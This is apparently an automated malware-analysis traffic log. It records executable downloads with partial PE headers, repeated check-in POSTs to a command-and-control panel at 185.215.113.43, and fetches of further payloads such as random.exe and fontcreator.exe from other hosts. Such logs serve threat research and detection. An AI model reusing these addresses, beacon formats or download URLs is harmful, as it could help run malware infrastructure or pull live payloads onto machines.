00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:57:50 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Fri, 01 Nov 2024 09:52:29 GMTConnection: keep-aliveETag: "6724a4dd-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 34 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 85 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 84 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 69 62 68 73 6d 63 6f 00 30 19 00 00 60 30 00 00 26 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 63 68 68 7a 70 79 00 10 00 00 00 90 49 00 00 06 00 00 00 1c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:58:01 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Fri, 01 Nov 2024 09:52:29 GMTConnection: keep-aliveETag: "6724a4dd-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 34 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 85 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 84 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 69 62 68 73 6d 63 6f 00 30 19 00 00 60 30 00 00 26 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 63 68 68 7a 70 79 00 10 00 00 00 90 49 00 00 06 00 00 00 1c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:58:25 GMTContent-Type: application/octet-streamContent-Length: 2712064Last-Modified: Fri, 01 Nov 2024 09:00:50 GMTConnection: keep-aliveETag: "672498c2-296200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 76 74 6e 77 6f 78 70 00 20 29 00 00 a0 00 00 00 02 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6f 64 7a 6c 6a 74 6b 00 20 00 00 00 c0 29 00 00 04 00 00 00 3c 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 29 00 00 22 00 00 00 40 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 09:58:27 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Fri, 01 Nov 2024 09:52:29 GMTConnection: keep-aliveETag: "6724a4dd-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 49 00 00 04 00 00 34 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 85 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 84 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 69 62 68 73 6d 63 6f 00 30 19 00 00 60 30 00 00 26 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 72 63 68 68 7a 70 79 00 10 00 00 00 90 49 00 00 06 00 00 00 1c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/fontcreator.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003142001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003143001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003144001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003145001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003146001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 31 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003147001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
